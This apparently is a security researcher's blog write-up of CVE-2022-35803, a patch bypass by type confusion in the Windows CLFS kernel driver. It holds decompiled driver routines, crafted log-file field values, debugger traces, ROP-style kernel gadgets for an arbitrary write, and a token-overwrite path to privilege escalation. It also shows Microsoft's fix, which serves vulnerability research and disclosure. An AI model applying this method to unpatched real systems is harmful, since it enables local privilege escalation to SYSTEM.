NorthSea's Blog

Windows Kernel: Exploit CVE-2022-35803 in Common Log File System

2022-11-11

Author: @luckyu

Overview

In Windows, the Common Log File System (CLFS) is a general-purpose logging service that can be used by software clients running in user-mode or kernel-mode. The Common Log File System (CLFS) is implemented in Windows Kernel through clfs.sys. Due to parsing the file directly through the driver and the complexity of the log file structure itself, there are many security issues found in clfs.sys over the years, which become a common attack surface in Windows Kernel.

Earlier this year, I analyzed some past vulnerabilities in clfs.sys, and saw a sample of a in-the-wild vulnerability (CVE-2022-24481) fixed this year. Through the research on the sample and the patch for this vulnerability, I found that the patch of Microsoft for it was incomplete, then I bypassed the patch by a type confusion issue. Through some tricks of exploit, I completed the EoP on Windows Kernel in May, and planned to use this vulnerability in the competition in the second half of this year. However, due to the cancel of the competition and other reasons, this vulnerability has been shelved until it was disclosed in September 2022 Patch Tuesday(Duplicated).

Now, I will analyze this vulnerability and show how to exploit this type confusion issue to achieve escalation of privilege on Windows Kernel.

Old Bug: Analysis of CVE-2022-24481

There is a key structure in CLFS named _CLFS_BASE_RECORD_HEADER used to represent the base record header:

typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;

The rgClients and rgContainers fields in the structure are used to represent a 32-bit array that stores the offsets of each client context and container context. A user can modify them on the disk. The root cause of the vulnerability is the lack of effective verification for the client offset, so that it can overlap with the container context. As a result, the modification of the client context caused by CLFS.sys will change the next container context at the same time.

The in-the-wild sample will trigger the function CClfsLogFcbPhysical::FlushMetadata when the log file is closed:

__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(__int64 CClfsLogFcbPhy)
{
ClfsClientContext = 0i64;
v2 = CClfsBaseFile::AcquireClientContext(*(ClfsLogFcbPhyObj + 0x2A8), 0, &ClfsClientContext);
if ( v2 >= 0 && (ClfsClientContext_1 = ClfsClientContext) != 0i64 )
{
eState = ClfsClientContext->eState;
v5 = *(ClfsLogFcbPhyObj + 0x15C);
ClfsClientContext->llCreateTime = *(ClfsLogFcbPhyObj + 0x1A0);
ClfsClientContext_1->llAccessTime = *(ClfsLogFcbPhyObj + 0x1A8);
ClfsClientContext_1->llWriteTime = *(ClfsLogFcbPhyObj + 0x1B0);
ClfsClientContext_1->lsnOwnerPage.ullOffset = *(ClfsLogFcbPhyObj + 0x538);
ClfsClientContext_1->lsnArchiveTail.ullOffset = *(ClfsLogFcbPhyObj + 0x1E0);
ClfsClientContext_1->lsnBase.ullOffset = *(ClfsLogFcbPhyObj + 0x1D8);
ClfsClientContext_1->lsnLast.ullOffset = *(ClfsLogFcbPhyObj + 0x1E8);
ClfsClientContext_1->lsnRestart.ullOffset = *(ClfsLogFcbPhyObj + 0x1F0);
ClfsClientContext_1->cbFlushThreshold = *(ClfsLogFcbPhyObj + 0x16C);
HIWORD(ClfsClientContext_1->cidClient) = *(ClfsLogFcbPhyObj + 0x168);
v6 = eState | 8;
if ( (v5 & 0x10) == 0 )
v6 = eState;
ClfsClientContext_1->eState = v6;
...
}
...
}

The CClfsLogFcbPhy variable pointer named in the above code is a CClfsLogFcbPhysical object, initialized in the CClfsLogFcbPhysical::Initialize function, which will be called when the log file is opened:

__int64 __fastcall CClfsLogFcbPhysical::Initialize()
{
...
CClfsBaseFile::AcquireClientContext(*(ClfsLogFcbPhyObj + 0x2A8), 0, &ClfsClientContext);
...
if ( (ClfsClientContext->eState & 0x20) == 0 || (*(*ClfsLogFcbPhyObj + 0x138i64))(ClfsLogFcbPhyObj) )
{
ClfsClientContext_1 = ClfsClientContext;
*(ClfsLogFcbPhyObj + 0x1A0) = ClfsClientContext->llCreateTime;
*(ClfsLogFcbPhyObj + 0x1A8) = ClfsClientContext_1->llAccessTime;
*(ClfsLogFcbPhyObj + 0x1B0) = ClfsClientContext_1->llWriteTime;
*(ClfsLogFcbPhyObj + 0x1C8) = 0i64;
*(ClfsLogFcbPhyObj + 0x538) = ClfsClientContext_1->lsnOwnerPage.ullOffset;
*(ClfsLogFcbPhyObj + 0x1E0) = ClfsClientContext_1->lsnArchiveTail.ullOffset;
*(ClfsLogFcbPhyObj + 0x1D8) = ClfsClientContext_1->lsnBase.ullOffset;
*(ClfsLogFcbPhyObj + 0x1E8) = ClfsClientContext_1->lsnLast.ullOffset;
*(ClfsLogFcbPhyObj + 0x1F0) = ClfsClientContext_1->lsnRestart.ullOffset;
*(ClfsLogFcbPhyObj + 0x16C) = ClfsClientContext_1->cbFlushThreshold;
...
}
...
}

In the crafted CLFS log file, the attacker overlaps the llCreateTime field of client context with the pContainer field of container context, and sets the llCreateTime field to a address in userspace. After calling the function CClfsLogFcbPhysical::FlushMetadata, the pContainer field of container context(which stores a kernel pointer to the CClfsContainer object at runtime) will be modified.

After FlushMetadata ends, the clfs.sys will call the function CClfsLogFcbPhysical::CloseContainers to close containers:

__int64 __fastcall CClfsLogFcbPhysical::CloseContainers(__int64 ClfsLogFcbPhyObj)
{
ClfsContainerContext = 0i64;
v1 = 0;
v2 = *(ClfsLogFcbPhyObj + 0x554);
if ( v2 >= *(ClfsLogFcbPhyObj + 0x550) )
return v1;
while ( 1 )
{
v1 = CClfsBaseFile::AcquireContainerContext(
*(ClfsLogFcbPhyObj + 0x2A8),
*(ClfsLogFcbPhyObj + 4i64 * (v2 & 0x3FF) + 1368),
&ClfsContainerContext);
if ( v1 < 0 )
break;
v4 = ClfsContainerContext;
if ( !ClfsContainerContext )
break;
pContainer = ClfsContainerContext->pContainer; <<-------- 1
if ( pContainer )
{
CClfsContainer::Close(pContainer); <<-------- 2
(*(*v4->pContainer + 8i64))(v4->pContainer);
v4->pContainer = 0i64;
}
CClfsBaseFile::ReleaseContainerContext(*(ClfsLogFcbPhyObj + 0x2A8), &ClfsContainerContext);
if ( ++v2 >= *(ClfsLogFcbPhyObj + 0x550) )
return v1;
}
return 0xC01A000Di64;
}

After [1], the pContainer will point to an attacker-controlled memory space(in user space). When calling CClfsContainer::Close[2], the function ObfDereferenceObject will be triggered internally. This will lead to an arbitrary address decrement. This trick is used by the in-the-wild sample to reduce PreviousMode to zero, which will cause the calling thread to be set from user-mode to kernel-mode, and finally enable the user to read/write arbitrary address in kernel space through NtWriteVirtualMemory/NtReadVirtualMemory. After that, the user can achieve escalation of privilege by overwriting the token field in the _EPROCESS object of current process to the address(the sample gets these addresses through NtQuerySystemInformation) of the token in _EPROCESS object of System process.

Patch of CVE-2022-24481

Through analysis of diff, it can be seen that the patch for vulnerability is to add a check for the offset of rgClients and rgContainers in CClfsBaseFile::ValidateRgOffsets:

__int64 __fastcall CClfsBaseFile::ValidateRgOffsets(CClfsBaseFile *this, unsigned int *rgObject)
{
v2 = 0;
v3 = 0;
v6 = 0;
extraNum = 0;
logBlockPtr = *(*(this + 6) + 0x30i64); // * _CLFS_LOG_BLOCK_HEADER
if ( !logBlockPtr )
return 0xC01A000Di64;
signOffset = logBlockPtr + *(logBlockPtr + 0x68);
if ( signOffset < logBlockPtr )
return 0xC01A000Di64;
qsort(rgOffsetArray, 0x47Cui64, 4ui64, CompareOffsets);
while ( 1 )
{
currentOffset = *rgOffsetArray;
if ( *rgOffsetArray - 1 <= 0xFFFFFFFD )
{
currentContext = CClfsBaseFile::OffsetToAddr(this);
if ( !currentContext )
break;
if ( currentOffset < 0x30 )
break;
v12 = currentOffset - 0x30;
v13 = extraNum * 4 + v3 + 0x30;
if ( v13 < v3 || v3 && v13 > v12 ) <<-------- 3
break;
v3 = v12;
if ( *currentContext == 0xC1FDF008 ) // CLFS_NODE_TYPE_CONTAINER_CONTEXT
{
extraNum = 12;
}
else
{
if ( *currentContext != 0xC1FDF007 ) // CLFS_NODE_TYPE_CLIENT_CONTEXT
return 0xC01A000D;
extraNum = 34;
}
v1 = &currentContext[extraNum];
if ( v1 < currentContext || v1 > signOffset )
break;
}
++v6;
++rgOffsetArray;
if ( v6 >= 0x47C )
return v2;
}
return 0xC01A000D;
}

An important check is introduced at [3] by the patch. It requires that the interval between container context and the next context should be at least 0x30+12*4 = 0x60 bytes, and the interval between client context and the next context should be at least 0x30+34*4 = 0x88 = 0xb8 bytes. However, In the function CClfsLogFcbPhysical::FlushMetadata, we can only modify the field at offset 0x78 bytes(ClfsClientContext->eState) at most. Therefore, the vulnerability was fixed by the added check.

How to Bypass

Through the analysis of the Patch, we can see that the fault of directly modifying the offset of client context has been fixed. But is there another way to overlap fields and lead to vulnerability?

Through research, I found that during the period from ValidateRgOffsets verifying offset to FlushMetadata modifying data, and from that to CloseContainers closing the container, there is no check for the validity of the field cidNode.cType(represents the type of context) of client context. This may lead to a type confusion issue: if we set the cidNode.cType of client context to 0xC1FDF008, the interval of the client context and the next context will be limited incorrectly to 0x60 bytes when ValidateRgOffsets calculates it, which will cause the fields of the client context at the offset of 0x60~0x88 bytes to overlap with the fields of the next context at the offset of 0~0x28 bytes. ==> A new vulnerability has occurred.

I reviewed CClfsLogFcbPhysical::FlushMetadata again and determined that the pContainer in the next container context can be modified by ClfsClientContext->eState.

Since the original pContainer is aligned with 0x10 bytes, this will make the pContainer field point to the location of 8 bytes offset of original Container object, which exactly stores the size of the Container file, which is specified through the parameter pcbContainer when user calls function AddLogContainer:

https://learn.microsoft.com/en-us/windows/win32/api/clfsw32/nf-clfsw32-addlogcontainer :

[in, optional] pcbContainer

The optional parameter that specifies the size of the container, in bytes.

The minimum size is 512 KB for normal logs and 1024 KB for multiplexed logs. The maximum size is approximately 4 gigabytes.

Therefore, when the data is considered as an address, it can be located in the user space. This vulnerability can be exploited by faking a virtual function table of the container object in the user space!

Before:

After:

Let’s Exploit It

Next, I will show how to exploit this type confusion issue and achieve Escalation of Privilege.

In the analysis of the patch above, we know that when the type confusion issue occurs in the client context, we can modify the eState field with FlushMetadata to change pContainer field of the next container context, but this method needs to meet the following conditions:

__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(__int64 CClfsLogFcbPhy)
{
ClfsClientContext = 0i64;
v2 = CClfsBaseFile::AcquireClientContext(*(ClfsLogFcbPhyObj + 0x2A8), 0, &ClfsClientContext);
if ( v2 >= 0 && (ClfsClientContext_1 = ClfsClientContext) != 0i64 )
{
eState = ClfsClientContext->eState;
v5 = *(ClfsLogFcbPhyObj + 0x15C);
...
v6 = eState | 8;
if ( (v5 & 0x10) == 0 ) <<-------- 4
v6 = eState;
ClfsClientContext_1->eState = v6;
...
}
...
}

The check at [4] needs to be false. ⇒ (*(ClfsLogFcbPhyObj + 0x15C) & 0x10) ≠ 0

About *(ClfsLogFcbPhyObj + 0x15C) :

A flag field is stored in *(ClfsLogFcbPhyObj + 0x15C), which determines whether ClfsClientContext->eState will be modified. This condition cannot be passed under normal operations(CreateLogFile && CloseHandle). In order to modify this field, we need to understand the meaning of field eState first. By Docs:

typedef UCHAR CLFS_LOG_STATE, *PCLFS_LOG_STATE;
const CLFS_LOG_STATE CLFS_LOG_UNINITIALIZED = 0x01;
const CLFS_LOG_STATE CLFS_LOG_INITIALIZED = 0x02;
const CLFS_LOG_STATE CLFS_LOG_ACTIVE = 0x04;
const CLFS_LOG_STATE CLFS_LOG_PENDING_DELETE = 0x08; <<-------- 5
const CLFS_LOG_STATE CLFS_LOG_PENDING_ARCHIVE = 0x10;
const CLFS_LOG_STATE CLFS_LOG_SHUTDOWN = 0x20;
const CLFS_LOG_STATE CLFS_LOG_MULTIPLEXED = 0x40;
const CLFS_LOG_STATE CLFS_LOG_SECURE = 0x80;

From the definition, it seems like that the log file is ready to be deleted when the value is 0x08[5]. So I focused on reversing and debugging the closing operations of client, tried to find the operation of the CLFS_LOG_PENDING_DELETE flag. I soon noticed some key operations in CClfsLogFcbCommon::DeleteLog:

__int64 __fastcall CClfsLogFcbCommon::DeleteLog(
__int64 this,
struct _FILE_OBJECT *a2,
struct _FILE_DISPOSITION_INFORMATION *a3)
{
...

v9 = *(_DWORD *)(this + 0x15C);
...
if ( !CClfsLogFcbCommon::IsReadOnly((CClfsLogFcbCommon *)this) )
{
*(_DWORD *)(this + 0x15C) = v9 | 0x10; <<-------- 6
a2->DeletePending = 1;
goto LABEL_12;
}

...
}

Through the DeleteLogFile API, I successfully triggered the function and completed the modification of *(ClfsLogFcbPhyObj + 0x15C) [6].

Now, let’s make a fake client context:

Firstly, I modify the offset of client context to ensure that the eState field of client context overlaps with the pContainer of container context, and set the cidNode.cType of client context to 0xC1FDF008. The cidClient corresponds to the index of rgClients. In addition, I modify the related fields of CLFSHASHSYM in front of the client context, because there is a verification for the fields of CLFSHASHSYM in CClfsBaseFile::GetSymbol:

__int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFile *this,unsigned int ClientContextOffset,char ClientContextId,struct _CLFS_CLIENT_CONTEXT **a4)
{
...
if ( CClfsBaseFile::IsValidOffset(this, ClientContextOffset + 0x87) )
{
ClientContextAddr = (__int64)CClfsBaseFile::OffsetToAddr(this);
if ( v11 )
{
if ( *(_DWORD *)(ClientContextAddr - 0xC) != ClientContextOffset ) <<-------- 7
{
v8 = 0xC0000008;
goto LABEL_5;
}
v12 = ClfsQuadAlign(0x88u);
if ( *(_DWORD *)(ClientContextAddr - 0x10) == (unsigned __int64)(ClientContextOffset_1 + v12) <<-------- 8
&& *(_BYTE *)(ClientContextAddr + 8) == ClientContextId )
{
*a4 = (struct _CLFS_CLIENT_CONTEXT *)ClientContextAddr;
goto LABEL_12;
}
}
}
...
}

CLFSHASHSYM is located above the context and offset by 0x30 bytes, and its offset is also stored in _CLFS_BASE_RECORD_HEADER (the fields rgClientSymTbl and rgContainerSymTbl), which are defined as:

typedef struct _CLFSHASHSYM
{
CLFS_NODE_ID cidNode;
ULONG ulHash;
ULONG cbHash;
ULONGLONG ulBelow;
ULONGLONG ulAbove;
LONG cbSymName;
LONG cbOffset;
BOOLEAN fDeleted;
} CLFSHASHSYM, *PCLFSHASHSYM;

I need to set the cbOffset field to a value equal to the ClientContextOffset[7], and the cbSymName field to a value equal to the ClientContextOffset + 0x88 [8] (the string where the client name is stored).

At this point, I initially construct the fake client context, and try to open the fake CLFS log file. I successfully bypass the patch in ValidateRgOffsets, and call the DeleteLogFile to expect the result. Unfortunately, the pContainer wasn’t modified successfully. I set a breakpoint in FlushMetadata. Then I found that the lsnLast field of client context overlaps with the fields CLFSHASHSYM.cbSymName and CLFSHASHSYM.cbOffset above the container. Therefore, when the initialized (ClfsLogFcbPhyObj + 0x1E8) field is modified, the CLFSHASHSYM is also modified:

ClfsClientContext_1->lsnLast.ullOffset = *(ClfsLogFcbPhyObj + 0x1E8);

This will make the container context fails the check of GetSymbol. I start to analyze how *(ClfsLogFcbPhyObj + 0x1E8) is modified:

The type of lsnLast is CLS_LSN, which is defined as:

typedef struct _CLS_LSN {
ULONGLONG Internal;
} CLS_LSN, *PCLS_LSN, PPCLS_LSN;

Internal

A 64-bit value that holds three pieces of information about a log record: container identifier, block offset, and record sequence number.

Remarks
A container is a contiguous physical disk extent that serves as part of a CLFS log. A given CLFS log has several containers. Each container has several sector-aligned blocks, each of which holds a numbered sequence of records. A record can be identified by the triple (logical container identifier, block offset, record sequence number).

To obtain the container identifier, block offset, and record sequence number from a CLFS_LSN structure, call ClfsLsnContainer, ClfsLsnBlockOffset, and ClfsLsnRecordSequence.

In order to find out how CLFS_LSN was modified, I set a hardware breakpoint at the address of *(ClfsLogFcbPhyObj + 0x1E8) after CClfsLogFcbPhysical::Initialize initializes ClfsLogFcbPhyObj, the breakpoint is triggered in CLFS!CClfsLogFcbPhysical::UpdateCachedOwnerPage. Through reversing, I found that the value of CLFS_LSN is calculated when CClfsLogFcbPhysical::AddLsnOffset is called for the first time in UpdateCachedOwnerPage:

union _CLS_LSN __fastcall CClfsLogFcbPhysical::AddLsnOffset(CClfsLogFcbPhysical *this,const union _CLS_LSN *a2,_DWORD *lsnOwnerPage_low32,unsigned int a4)
{
num_0x1000 = a4;
if ( !lsnOwnerPage_low32
|| (ullOffset = CLFS_LSN_INVALID.ullOffset, CLFS_LSN_INVALID.ullOffset != *(_QWORD *)lsnOwnerPage_low32) )
{
if ( !CClfsLogFcbPhysical::ValidateContainerSize((__int64)this) )
goto LABEL_14;
v9 = 0xFFFFFFFFi64;
if ( lsnOwnerPage_low32 )
v9 = *lsnOwnerPage_low32 & 0xFFFFFE00;
lsnOwnerPage_high32 = 0xFFFFFFFFi64;
if ( lsnOwnerPage_low32 )
lsnOwnerPage_high32 = (unsigned int)lsnOwnerPage_low32[1];
ContainerSize = *((_QWORD *)this + 83);
v13 = num_0x1000 + ContainerSize * lsnOwnerPage_high32 + v9;
ullOffset_low32 = v13 % ContainerSize;
ullOffset_high32 = v13 / ContainerSize;
if ( HIDWORD(ullOffset_high32) || HIDWORD(ullOffset_low32) )
{
LABEL_14:
ullOffset = CLFS_LSN_INVALID.ullOffset;
}
else
{
ullOffset = CLFS_LSN_INVALID.ullOffset;
if ( (_DWORD)ullOffset_high32 != -1 && (ullOffset_low32 & 0x1FF) == 0 )
ullOffset = __PAIR64__(ullOffset_high32, ullOffset_low32);
}
}
a2->ullOffset = ullOffset;
return (union _CLS_LSN)a2;
}

To sum up, when the low 32 bits of lsnOwnerPage are not equal to CLFS_LSN_INVALID.ullOffset, the new ullOffset value is calculated from the lsnOwnerPage field of client context:

  • The low 32 bits of the ullOffset = (ContainerSize * lsnOwnerPage_high32 + (lsnOwnerPage_low32 & 0xFFFFFE00) +0x1000) % ContainerSize
  • The high 32 bits of the ullOffset = (ContainerSize * lsnOwnerPage_high32 + (lsnOwnerPage_low32 & 0xFFFFFE00) +0x1000) / ContainerSize

To protect CLFSHASHSYM from being corrupted, we need to:

  • Set the low 32 bits of the ullOffset == ContainerContextOffset + 0x30
  • Set the high 32 bits of ullOffset == ContainerContextOffset.

An additional consideration is that since the low 32 bits of the ullOffset will perform 0x200 bytes alignment, this requires the original cbSymName, which is ContainerContextOffset + 0x30, to be aligned with 0x200 bytes. Here we can choose to create multiple clients/containers to construct a satisfying offset, or directly make a container to satisfy this condition.

After modifying the data, trigger FlushMetadata again, and the pContainer field has been modified successfully:

rax=00000000000000f8 rbx=ffffb58d7569d000 rcx=00000000000000f8
rdx=fffffe0c7c08b340 rsi=ffffb58d74667c01 rdi=0000000000000000
rip=fffff80630321603 rsp=fffffe0c7c08b2f0 rbp=0000000000000000
r8=0000000000000810 r9=ffffa3812db7d7e0 r10=0000000000000000
r11=ffffa3812db7c000 r12=0000000000000000 r13=0000000000000000
r14=ffffb58d7569d0b8 r15=ffffb58d7211b8f0
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
CLFS!CClfsLogFcbPhysical::FlushMetadata+0xd3:
fffff806`30321603 41884978 mov byte ptr [r9+78h],cl ds:002b:ffffa381`2db7d858=f0

Then the program runs to CClfsBaseFilePersisted::RemoveContainer, which calls the vtable function of Container object:

__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
...
pContainer = *(_QWORD *)(ContainerContext + 0x18);
if ( pContainer )
{
*(_QWORD *)(ContainerContext + 0x18) = 0i64;
ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
v4 = 0;
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer);
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer);
v9 = v16;
goto LABEL_20;
}
...
}

The assembly code used to call virtual table functions is:

mov     rax, [rdi]     <<-------- 9
mov rax, [rax+18h]
mov rcx, rdi
call cs:__guard_dispatch_icall_fptr
mov rax, [rdi]
mov rax, [rax+8]
mov rcx, rdi
call cs:__guard_dispatch_icall_fptr

The rax register will point to the wrong virtual function table after the [9] code is executed, and this field actually stores the file size of the Container.

CLFS!CClfsBaseFilePersisted::RemoveContainer+0x142:
fffff806`30346ef2 488b07 mov rax,qword ptr [rdi] ds:002b:ffffa381`2f0dd9f8=0000000000100000

When the virtual function is called, the first parameter(stored in the register rcx) is the Container object + 8, which limits the function we used to achieve EoP:

1: kd> r
rax=4141414141414141 rbx=0000000000000000 rcx=ffffa3812f0dd9f8
rdx=0000000000000000 rsi=ffffb58d7569f000 rdi=ffffa3812f0dd9f8
rip=fffff80630346efc rsp=fffffe0c7c08b5e0 rbp=00000000000003fe
r8=fffffe0c7c08b5b0 r9=0000000000000000 r10=0000000000000000
r11=fffffe0c7c08b570 r12=0000000000000002 r13=0000000000000001
r14=0000000000001700 r15=ffffa3812db7d840
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x14c:
fffff806`30346efc ff15ced6ffff call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff806`303445d0)]

I start looking for a magic gadget in the driver space, it’s just like a CTF Challenge!
Through that, I found an interesting piece of code in CLFS!CClfsLogFcbPhysical::GetContainerForLsn:

__int64 __fastcall CClfsLogFcbPhysical::GetContainerForLsn(CClfsLogFcbPhysical *this,struct CClfsContainer **a2,unsigned int *a3,const union _CLS_LSN *a4)
{
v5 = -1;
if ( *a2 )
{
cidContainer = -1;
if ( a4 )
cidContainer = a4->offset.cidContainer;
if ( *a3 == cidContainer )
return 0i64;
(*(void (__fastcall **)(struct CClfsContainer *))(*(_QWORD *)*a2 + 8i64))(*a2); <<-------- 10
*a2 = 0i64;
}
...
}

This function gets a function pointer and its first parameter from the dereference of the second parameter, then calls it[10].
So if I can assign rcx to rdx before calling this function, I can complete a function call with a controllable parameter.

To assign rcx to rdx, I found a gadget in nt!FsRtlPrivateResetLowestLockOffset:

FsRtlPrivateResetLowestLockOffset+28                   mov     rdx, rcx
FsRtlPrivateResetLowestLockOffset+2B
FsRtlPrivateResetLowestLockOffset+2B loc_1402FB2FB: ; CODE XREF: FsRtlPrivateResetLowestLockOffset+55↓j
FsRtlPrivateResetLowestLockOffset+2B ; FsRtlPrivateResetLowestLockOffset+61↓j
FsRtlPrivateResetLowestLockOffset+2B mov rax, [rdx]
FsRtlPrivateResetLowestLockOffset+2E
FsRtlPrivateResetLowestLockOffset+2E loc_1402FB2FE: ; CODE XREF: FsRtlPrivateResetLowestLockOffset+69↓j
FsRtlPrivateResetLowestLockOffset+2E mov [r8], rax
FsRtlPrivateResetLowestLockOffset+31 retn

This gadget requires r8 to be a writable address, and this restriction happens to be satisfied when the program trigger it. After controlling the parameter, I choose to use another magic function in GetContainerForLsn: nt!XmXchgOp, it can obtain an arbitrary address write primitive by controlling the variable saved by rcx:

XmXchgOp      XmXchgOp        proc near               ; CODE XREF: XmEmulateStream+10E↓p
XmXchgOp ; DATA XREF: .rdata:XmOpcodeFunctionTable↑o ...
XmXchgOp sub rsp, 28h
XmXchgOp+4 mov eax, [rcx+78h]
XmXchgOp+7 mov rdx, [rcx+60h]
XmXchgOp+B test eax, eax
XmXchgOp+D jz short loc_1403945B7
XmXchgOp+F cmp eax, 3
XmXchgOp+12 jnz short loc_1403945BE
XmXchgOp+14 mov eax, [rcx+68h]
XmXchgOp+17 mov [rdx], eax
XmXchgOp+19
XmXchgOp+19 loc_1403945A9: ; CODE XREF: XmXchgOp+2C↓j
XmXchgOp+19 ; XmXchgOp+35↓j
XmXchgOp+19 mov edx, [rcx+6Ch]
XmXchgOp+1C call XmStoreResult
XmXchgOp+21 add rsp, 28h
XmXchgOp+25 retn

After that, there are many ways to achieve escalation of privilege. You can set the PreviousMode of the current thread to zero by arbitrary address write primitive and use the trick analyzed previously of the in-the-wild sample to achieve escalation of privilege.

Exploit

Patch for CVE-2022-35803

Microsoft patches the vulnerability by adding a check on the cType field of context in CClfsBaseFile::GetSymbol to prevent the type confusion issue in September 2022 Patch Tuesday.

__int64 __fastcall CClfsBaseFile::GetSymbol(
CClfsBaseFile *this,
unsigned int a2,
char ClientContextId,
struct _CLFS_CLIENT_CONTEXT **a4)
{
...
v12 = ClfsQuadAlign(0x88u);
if ( *(_DWORD *)(ClientContextAddr - 16) != (unsigned __int64)(ClientContextOffset_1 + v12)
|| *(_DWORD *)ClientContextAddr != 0xC1FDF007
|| *(_DWORD *)(ClientContextAddr + 4) != v12
|| *(_BYTE *)(ClientContextAddr + 8) != ClientContextId )
{
LABEL_12:
v8 = 0xC01A000D;
goto LABEL_13;
}
...
}